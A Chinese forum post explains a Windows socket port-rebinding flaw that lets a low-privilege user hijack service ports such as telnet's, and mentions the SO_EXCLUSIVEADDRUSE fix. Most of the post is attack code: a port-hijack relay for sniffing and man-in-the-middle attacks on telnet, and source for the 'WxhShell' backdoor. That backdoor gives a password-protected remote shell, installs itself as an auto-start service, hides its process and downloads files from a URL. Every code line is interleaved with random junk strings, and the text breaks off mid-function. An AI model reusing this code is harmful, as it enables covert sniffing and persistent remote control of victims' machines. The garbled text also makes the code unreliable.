社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19820阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 29av8eW?3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X,y$!2QI  
8V}c(2m  
  saddr.sin_family = AF_INET; ^' [|  
<78> 6u/W%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X0!48fL*  
}:jXl!:V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u"|.]r  
Pv0+`>):  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C y& L,  
X;6X K$"  
  这意味着什么?意味着可以进行如下的攻击: ?^"S%Vb  
jXW71$B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =%]dk=n?TN  
hOwVm;:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lcUL7  
.5I1wRN49  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wwp vmb  
qY0Ic5wCY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LXK+WB/s  
:^ cA\2=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N86Hn]#  
W0nRUAo[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nKHyq\  
sX**'cH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FD`V39##  
IG bQ L  
  #include /Wj9Stj5  
  #include =)T5Y,+rJ  
  #include z{%G  
  #include    @0)bY*njj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t=yM}#r$  
  int main()  F-ijGGL#  
  {  oR5`-  
  WORD wVersionRequested; '7E?|B0],  
  DWORD ret; 4~Z\tP|Q.  
  WSADATA wsaData; + 1cK (Si  
  BOOL val; :ox+WY  
  SOCKADDR_IN saddr; D vK}UAj=  
  SOCKADDR_IN scaddr; zx\?cF  
  int err; !J+5l&  
  SOCKET s; \Mi y+<8$  
  SOCKET sc; \6sp"KqP  
  int caddsize; p'_* >%4~  
  HANDLE mt; 3|@Ske1%Y  
  DWORD tid;   T"dEa-O  
  wVersionRequested = MAKEWORD( 2, 2 ); N]5-#  
  err = WSAStartup( wVersionRequested, &wsaData ); &| ',o ?'F  
  if ( err != 0 ) { ;up89a-,9  
  printf("error!WSAStartup failed!\n"); ya|7hz{  
  return -1; G-T:7  
  } n32BHOVE  
  saddr.sin_family = AF_INET; mF#{"  
   &%INfl>o7.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :;]6\/ky  
vu1F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P~=|R9 t  
  saddr.sin_port = htons(23); 0h$23.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $0{c =r9  
  { )Ibp%'H  
  printf("error!socket failed!\n"); 9r8*'.K`Z  
  return -1; Oi=kL{DG:s  
  } &|55:Y87  
  val = TRUE; elw<(<u`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nV GrW#'E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H}X3nl\]  
  { M2mte#h  
  printf("error!setsockopt failed!\n"); MSsboSxA  
  return -1; V[A uw3)  
  } t&0pE(MO/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nIKh<ws4z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <+pwGKtD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kW5g]Q   
T/uj5pMG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |%we@ E  
  { d\D.l^  
  ret=GetLastError(); h0d;a  
  printf("error!bind failed!\n"); EO3?Dev  
  return -1; (wnkdI{  
  } WFULQQ*  
  listen(s,2); ,;hI yT  
  while(1) jL>IX`,+6  
  { MAQkk%6[g  
  caddsize = sizeof(scaddr); V- Oy<  
  //接受连接请求 ON\_9\kv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PW~+=,  
  if(sc!=INVALID_SOCKET) m "h{HgJd  
  { O2-9Oo@#,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z*"zXL C  
  if(mt==NULL) 5ZSV)$t  
  { AK} wSXF  
  printf("Thread Creat Failed!\n"); "VRcR  
  break; 4(f[Z9 iZ]  
  } YJ3aJ^m#E  
  } Q &<:W4N*  
  CloseHandle(mt); d dkh*[  
  } wKIQK!B)mF  
  closesocket(s); gu7mGHn-  
  WSACleanup(); [kM)K'-  
  return 0; aqSHo2]DX9  
  }   hOx'uO`x(  
  DWORD WINAPI ClientThread(LPVOID lpParam) l\I#^N  
  { oJA%t-&%R  
  SOCKET ss = (SOCKET)lpParam; J=JYf_=4bc  
  SOCKET sc; ;Kob]b  
  unsigned char buf[4096]; y0k*iS e  
  SOCKADDR_IN saddr; i<@6f'Kir  
  long num; 7O^ySy"l  
  DWORD val; S='AA_jnw  
  DWORD ret; /7/d u[P6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =i O K($  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   SSEK9UX  
  saddr.sin_family = AF_INET; "7mY s)=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a|Io)Qhr  
  saddr.sin_port = htons(23); ;[V_w/-u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [DpGL/Y.  
  { qpjtF'  
  printf("error!socket failed!\n"); T[]2]K[&B  
  return -1; ? FGzw  
  } mrX 2w  
  val = 100; |WqEJ*$,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^ ]02)cK  
  { KJ M :-z@  
  ret = GetLastError(); (C>FM8$J  
  return -1; 5N<f\W,  
  } ^}7iouE C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l$N b1&  
  { a$H*C(wL  
  ret = GetLastError(); 4+2XPaI m  
  return -1; INtt0Cm9"  
  } zO8`xrN!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ilJeI@  
  { ?@8[1$1a  
  printf("error!socket connect failed!\n"); zea=vx>`  
  closesocket(sc); H<T9$7Yr%r  
  closesocket(ss); z(V?pHv+  
  return -1; erTb9`N4  
  } |`d,r.+P7  
  while(1) U  ?'$E\  
  { l`=).k   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9ZFvN*Zf'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OjO$.ecT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <{ !^  
  num = recv(ss,buf,4096,0); 2r;^OWwr?  
  if(num>0) H^_]' ~.  
  send(sc,buf,num,0); ]+A>*0#"  
  else if(num==0) juOOD   
  break; $Gt1T[:QUX  
  num = recv(sc,buf,4096,0); BMPLL2I  
  if(num>0) {.F``2  
  send(ss,buf,num,0); wXw pKm  
  else if(num==0) \bAsn89O  
  break; k<W n  
  } clfi)-^ {K  
  closesocket(ss); [ox!MQ+s  
  closesocket(sc); /?X1>A:*  
  return 0 ; q)JG_Y.p  
  } VesW7m*z  
QYDTb=h~  
!g:UkU\J  
========================================================== s '%KKC  
d bU  
下边附上一个代码,,WXhSHELL UJ' +Z6d  
f:iK5g  
========================================================== #6{"c r6l  
_i [.5  
#include "stdafx.h" 3$f%{~3  
YbZ<=ZzO4  
#include <stdio.h> /Z<"6g?  
#include <string.h> g*8LdH 6mq  
#include <windows.h> S!J.$Y<Ko  
#include <winsock2.h> $t5 0<1  
#include <winsvc.h> pNpj, H*4  
#include <urlmon.h> ]RHR>=;  
Bu?"b=B*  
#pragma comment (lib, "Ws2_32.lib") 0^44${bA  
#pragma comment (lib, "urlmon.lib") U|odm58s  
aM'0O![d  
#define MAX_USER   100 // 最大客户端连接数 .K^'Q|?  
#define BUF_SOCK   200 // sock buffer R`=IYnoOA  
#define KEY_BUFF   255 // 输入 buffer SxXh N  
E&0A W{  
#define REBOOT     0   // 重启 JA7HO |  
#define SHUTDOWN   1   // 关机 uE:#m.Q  
qS{lay  
#define DEF_PORT   5000 // 监听端口 nut;ohIh  
EVmQ"PKL'  
#define REG_LEN     16   // 注册表键长度 )>a t]mH  
#define SVC_LEN     80   // NT服务名长度 HC w$v#  
!7J;h{3Uw  
// 从dll定义API Y>!9P\Xe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g=; rM8W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (omdmT%D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Xw 6m$fr:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q ,d]i/T  
_%l+v  
// wxhshell配置信息 Faa:h#  
struct WSCFG { S6}_Z  
  int ws_port;         // 监听端口 x@.iDP@(  
  char ws_passstr[REG_LEN]; // 口令 YU76(S9 0#  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,IuO;UV#)  
  char ws_regname[REG_LEN]; // 注册表键名 f4s[R0l  
  char ws_svcname[REG_LEN]; // 服务名 6f 6_ztTL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Z 10Zf=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uW;Uq=UN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [OG-ZcNu?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3]'=s>UO>^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vJ GxD\h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  9 N=KU  
&m8B%9w  
}; EBzg<-?o  
~2@U85"o  
// default Wxhshell configuration A#1aO  
struct WSCFG wscfg={DEF_PORT, 0x# 6L  
    "xuhuanlingzhe", R ;5w*e}?5  
    1, o)}b Fw  
    "Wxhshell", ^ .kas7 <  
    "Wxhshell", 0x^$q? \A  
            "WxhShell Service", mm#U a/~1u  
    "Wrsky Windows CmdShell Service", ^ bM;C_<$f  
    "Please Input Your Password: ", `k\]I |6  
  1, .NjdkHYR  
  "http://www.wrsky.com/wxhshell.exe", Xki/5roCQ|  
  "Wxhshell.exe" @{I55EQ]  
    }; Bo%M-Gmu  
e@]cI/j  
// 消息定义模块 qx0o,oZN!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *kyy''r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,eUMSg~P.7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }sJ% InL  
char *msg_ws_ext="\n\rExit."; iXl1S[.l  
char *msg_ws_end="\n\rQuit."; aE{b65'Dt  
char *msg_ws_boot="\n\rReboot..."; Z/-%Eb]L1  
char *msg_ws_poff="\n\rShutdown..."; y_$^Po  
char *msg_ws_down="\n\rSave to "; |xKB><  
;;nmF#  
char *msg_ws_err="\n\rErr!"; D@ =.4z  
char *msg_ws_ok="\n\rOK!"; vMRKs#&8  
2DV{gF  
char ExeFile[MAX_PATH]; 3'/wRKl  
int nUser = 0; ) ]~HjA;  
HANDLE handles[MAX_USER]; %< j=&  
int OsIsNt; kI[EG<N1k  
bjT0Fi0-  
SERVICE_STATUS       serviceStatus; }_?7k0EZ@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BMX x(W]  
&OzJ^G\o  
// 函数声明 M$&>"%Oi  
int Install(void); :cynZab  
int Uninstall(void); C i*TX  
int DownloadFile(char *sURL, SOCKET wsh); ["L?t ^*G  
int Boot(int flag); R*yB);p  
void HideProc(void); K4R jGSaF  
int GetOsVer(void); q"5 2-42  
int Wxhshell(SOCKET wsl); ;=^WIC+Nr  
void TalkWithClient(void *cs); 0e7v ?UT  
int CmdShell(SOCKET sock); x~{ m%)I  
int StartFromService(void); N@d4)  
int StartWxhshell(LPSTR lpCmdLine); in+`zfUJ9  
{?L}qV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JK_$A;Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &P+cTN9)  
4P:vo$Cy  
// 数据结构和表定义 Sr+1.77}  
SERVICE_TABLE_ENTRY DispatchTable[] = =)I{KT:y  
{ O/-OW: 03  
{wscfg.ws_svcname, NTServiceMain}, @K+u+} R  
{NULL, NULL} >XZq=q]E!  
}; 5N|77AAxK  
a9qZI  
// 自我安装 g)p[A 4  
int Install(void) %##9.Xm6l  
{ 1^W Aps  
  char svExeFile[MAX_PATH]; Bkz   
  HKEY key; JGdBpj:  
  strcpy(svExeFile,ExeFile); 9a4RW}S<  
;zJ_apZ:{  
// 如果是win9x系统,修改注册表设为自启动 [R:O'AP}@}  
if(!OsIsNt) { ix/uV)]k`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ftH 0aI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CNN?8/u!@  
  RegCloseKey(key); kU^@R<Fo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :iWV:0)P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hOC,Eo  
  RegCloseKey(key); vcSS+  
  return 0; TX+t   
    } #UI`G3w<  
  } }}xR?+4A  
} -OW$  
else { ~,guw7F  
"yz@LV1  
// 如果是NT以上系统,安装为系统服务 ~g,QwaA[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T(}da**X  
if (schSCManager!=0) kN) pi "  
{ *lTu-  
  SC_HANDLE schService = CreateService JC+VG;kcs  
  ( w'e enIX^^  
  schSCManager, QMsnfG  
  wscfg.ws_svcname, EPg?jKZava  
  wscfg.ws_svcdisp, e,4G:V'NX  
  SERVICE_ALL_ACCESS, F3f>pK5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xAO ]u[J  
  SERVICE_AUTO_START, h7w<.zwu t  
  SERVICE_ERROR_NORMAL, U!`'Qw;  
  svExeFile, * K7L5.  
  NULL, (l^lS=x  
  NULL, :Oj+Tc9A  
  NULL, l00D|W_ 9  
  NULL, lGz0K5P{  
  NULL s1FBz)yCY=  
  ); D|BN_ai9  
  if (schService!=0) />oU}m"k  
  { N1$P6ZF  
  CloseServiceHandle(schService); "LWp/  
  CloseServiceHandle(schSCManager); ?=G H{ %E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [/kO >  
  strcat(svExeFile,wscfg.ws_svcname); 3_>1j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7/yd@#$X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lu}[XN  
  RegCloseKey(key); LH8?0 N[  
  return 0; 0t&H1xsxX  
    } sg y  
  } kO#`m ]  
  CloseServiceHandle(schSCManager); )}aF=%  
} 4~/6d9f  
} tv{.iM|V c  
t5qAH++axN  
return 1; s [!SG`&  
} lyPXlt  
W7 E-j+2  
// 自我卸载 z~_\onC  
int Uninstall(void) -jy"?]ve.  
{ Rju8%FRO  
  HKEY key; Z8@]e}n  
-$q/7,os  
if(!OsIsNt) { Rb0{t[IU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LKZI@i)  
  RegDeleteValue(key,wscfg.ws_regname); }X?*o `sW  
  RegCloseKey(key); WWL Vy(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _7<U[63  
  RegDeleteValue(key,wscfg.ws_regname); :6 fQE#(s&  
  RegCloseKey(key); ww2Qa-K  
  return 0; bi[l,  
  } }M9al@"  
} xRUYJ=|oh  
} @rMW_7[y  
else { 9|`@czw  
#j JcgR<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YMd&+J`  
if (schSCManager!=0) ?Sqm`)\>4  
{ ["M >  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F~AS(sk  
  if (schService!=0) 7y\g~?5N  
  { a*hThr+$M  
  if(DeleteService(schService)!=0) { X A|`wAGP  
  CloseServiceHandle(schService); "=(;l3-o  
  CloseServiceHandle(schSCManager); {Jc!T:vJ  
  return 0; h~@+M5r,  
  } [ lW "M  
  CloseServiceHandle(schService); ni> ;8O]=  
  } NjxW A&[ng  
  CloseServiceHandle(schSCManager); m+UdT854  
} Q(6(Scp{  
} "Zk6B"o)  
av?BpN"l  
return 1; "BRE0Ir:  
} cZ>W8{G  
x,dv ~QU  
// 从指定url下载文件 q@9 i3*q;  
int DownloadFile(char *sURL, SOCKET wsh) mmL~`i/  
{ ;Y^RF?un  
  HRESULT hr; 8tMte!E  
char seps[]= "/"; =@ZtUjcJx  
char *token; O| ]Ped9  
char *file; W6T&hB  
char myURL[MAX_PATH]; 5KR|p Fq  
char myFILE[MAX_PATH]; o }A #-   
ea0tx3'  
strcpy(myURL,sURL); zIFL?8!H9{  
  token=strtok(myURL,seps); N -]PK%*  
  while(token!=NULL) .}N^AO=  
  { =fG8YZ(  
    file=token; sCQup^\  
  token=strtok(NULL,seps); oNZ W#<K  
  } [{F7Pc  
!@ {[I:5  
GetCurrentDirectory(MAX_PATH,myFILE); SZ{cno1`  
strcat(myFILE, "\\"); H>f{3S-%  
strcat(myFILE, file); )y W_O:  
  send(wsh,myFILE,strlen(myFILE),0); hhAC@EGG  
send(wsh,"...",3,0); M[u3]dN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bOMP8{H,  
  if(hr==S_OK) sjgR \`AU  
return 0; 0 0&$SE  
else R+0"B  
return 1; Rk%M~D*-  
+3>/,w(x  
} .~L4#V{c~  
zI!R-Nb  
// 系统电源模块 (H+[^(3d2  
int Boot(int flag) ;/ KF3 %  
{ gc3 U/ jM  
  HANDLE hToken; OeGuq.> w  
  TOKEN_PRIVILEGES tkp; B:4qW[U#  
~^~RltY  
  if(OsIsNt) { tq[",&K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~@b}=+n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lMez!qx,=  
    tkp.PrivilegeCount = 1; N>%KV8>{L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T1HiHvJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xl6ZV,1=n7  
if(flag==REBOOT) { )]> '7] i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b^DV9mO4J  
  return 0; 8'"/gC{  
} %@93^q[\2  
else { G!Oq>7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hX| UE  
  return 0; V)QR!4De  
} |~LjH|*M  
  } BC{J3<0bf@  
  else { 5qQ(V)ah  
if(flag==REBOOT) { l=~9 9mE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F>kn:I"X)  
  return 0; +1jqCW  
} AJlIA[Kt:  
else { /{ MH'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) efkie}  
  return 0; n3g WM C  
} lkWeQ)V  
} ((>3,%B`  
x ETVt q  
return 1; R 4QwWSBJ  
} ZX6=D>)u  
, gr&s+  
// win9x进程隐藏模块 T>Rf?%o  
void HideProc(void) 5uJP) S?  
{ eKpxskbhZ  
_<F@(M5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?Wz(f{Hm  
  if ( hKernel != NULL ) k=~pA iRDN  
  { >wk=`&+V@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rn[}{1I33Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1\J1yOL  
    FreeLibrary(hKernel); }:l%,DBw  
  } 5YG@[ic  
K<  
return; _B7?C:8Q-  
} UFAMbI  
hPi :31-0  
// 获取操作系统版本 0R5^p  
int GetOsVer(void) 2td|8vDA  
{ -kri3?Y,  
  OSVERSIONINFO winfo; X.AWs=:-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i~Ob( YIH  
  GetVersionEx(&winfo); 2N8sq(LK{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^@LhUs>3  
  return 1; V?V)&y] 4  
  else Nw$[a$^n  
  return 0; {S"  
} 2\CkX  
q'AnI$!  
// 客户端句柄模块 M= q~EMH  
int Wxhshell(SOCKET wsl) 2:HP5   
{ {9|$%4kRl  
  SOCKET wsh; J(&M<<%  
  struct sockaddr_in client; ocA'goI-  
  DWORD myID; I1 R\Ts@  
@1SKgbt>  
  while(nUser<MAX_USER) 031.u<_  
{ I%Po/+|+  
  int nSize=sizeof(client); b}?@syy8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gp3nR<+  
  if(wsh==INVALID_SOCKET) return 1; `ToRkk&&>{  
k1Mxsd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]^6y NtLK  
if(handles[nUser]==0) ~)m t&   
  closesocket(wsh); G5nj,$F+  
else cwWSNm|  
  nUser++; 5) n:<U*  
  } {Fp`l\,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s8yTK2v2\  
PxVI {:Uz  
  return 0; 6v2RS  
} 3{I=#>;  
.";tnC!e  
// 关闭 socket E ^SM`  
void CloseIt(SOCKET wsh) xX&>5 "  
{ ,ORG"]_F  
closesocket(wsh); zr;Y1Xt4  
nUser--; rb}wv16?  
ExitThread(0); 23\j1?  
} : ` 6$/DK  
id#k!*$7  
// 客户端请求句柄 pJ$N@ID  
void TalkWithClient(void *cs) I bv_D$cT  
{ At[n<8_|  
mp+\!  
  SOCKET wsh=(SOCKET)cs; ?Str*XA;  
  char pwd[SVC_LEN]; Rqb{)L X*  
  char cmd[KEY_BUFF]; ?4,*RCaI  
char chr[1]; Ubw!/|mi  
int i,j; 1l|A[ G  
; LF)u2x=  
  while (nUser < MAX_USER) { F<oc Y0=9p  
fCt\2);a  
if(wscfg.ws_passstr) { dj y:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); leb^,1/D6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zmL~]! ~&  
  //ZeroMemory(pwd,KEY_BUFF); 8NAWA3^B  
      i=0; XC/]u%n8](  
  while(i<SVC_LEN) { X\3 ,NR,  
|!xfIR>=F  
  // 设置超时 [`zbf_RyO  
  fd_set FdRead; !.2CAL  
  struct timeval TimeOut; v1"g!%U6  
  FD_ZERO(&FdRead); ej"o?1l@  
  FD_SET(wsh,&FdRead); 8F`BJ6='  
  TimeOut.tv_sec=8; \{M rQ2jd  
  TimeOut.tv_usec=0; w[,?- Xm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gSv[4,hXd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lr24bv\  
s7UhC.>'@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e0|_Z])D  
  pwd=chr[0]; UP~WP@0F  
  if(chr[0]==0xd || chr[0]==0xa) { 1hMX(N&|  
  pwd=0; =~W0~lxX  
  break; )S wG+k,  
  } V$Xl^#tN  
  i++; uku}Mr"p  
    } lEyG9Xvi  
WK_y1(v>  
  // 如果是非法用户,关闭 socket Oj4u!SY\j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dc&9emKI  
} 6L:tr LuQ  
}4\!7]FVYX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \%-E"[!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b5n]Gp  
].k+Nzf_  
while(1) { $xUzFLh=`  
B.Zm$JZ:  
  ZeroMemory(cmd,KEY_BUFF); veX"CY`hn  
z*dQIC  
      // 自动支持客户端 telnet标准   e0~sUVYf  
  j=0; j2 o1"  
  while(j<KEY_BUFF) { !0!U01SWa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /.| A  
  cmd[j]=chr[0]; [yYH>~SuwZ  
  if(chr[0]==0xa || chr[0]==0xd) { 0U~;%N+lv  
  cmd[j]=0; _Ra<|NVQh  
  break; #4P3xa  
  } j*eUF-J1  
  j++; ]8xc?*i8  
    } c4ZuW_&:  
T<TcV9vM  
  // 下载文件 _X,[]+ziu%  
  if(strstr(cmd,"http://")) { /slm ]'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]< s\V-y  
  if(DownloadFile(cmd,wsh)) R%Ui6dCLo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); AK@`'$  
  else m{b ZRkt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jSwtf  
  } 5q(]1|Se i  
  else { Z#OhYm+y  
c|\ZRBdI  
    switch(cmd[0]) { \uU=O )  
  (b/A|hl  
  // 帮助 t g KG&  
  case '?': { !cEbz b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L(WL,xnBy  
    break; W.#}q K" q  
  } G%P>A g  
  // 安装 Hhe{ +W@~  
  case 'i': { ,]PyDq6  
    if(Install()) i}/e}s<-6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -y&v9OC2-  
    else E ;BPN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sJ))<,e5I  
    break; [K cki+  
    } 99l>CYXd  
  // 卸载 /~3N@J  
  case 'r': { y*VQ]aJ  
    if(Uninstall()) KA5~">l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JmU<y  
    else g.B%#bfg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j4~7akG  
    break; > 63)z I  
    } <*s"e)XeqF  
  // 显示 wxhshell 所在路径 ^[{`q9A#d  
  case 'p': {  G"o!}  
    char svExeFile[MAX_PATH]; YG0PxZmi  
    strcpy(svExeFile,"\n\r"); C5O5S:|'  
      strcat(svExeFile,ExeFile); w5F4"nl#O}  
        send(wsh,svExeFile,strlen(svExeFile),0); ./'~];&  
    break; FAQr~G}  
    } sU) TXL'_!  
  // 重启 CS/Mpmsp  
  case 'b': { !c3```*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EMVk:Vt]  
    if(Boot(REBOOT)) % v;e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d]tv'|E13  
    else { [[:UhrH-  
    closesocket(wsh); r4O|()  
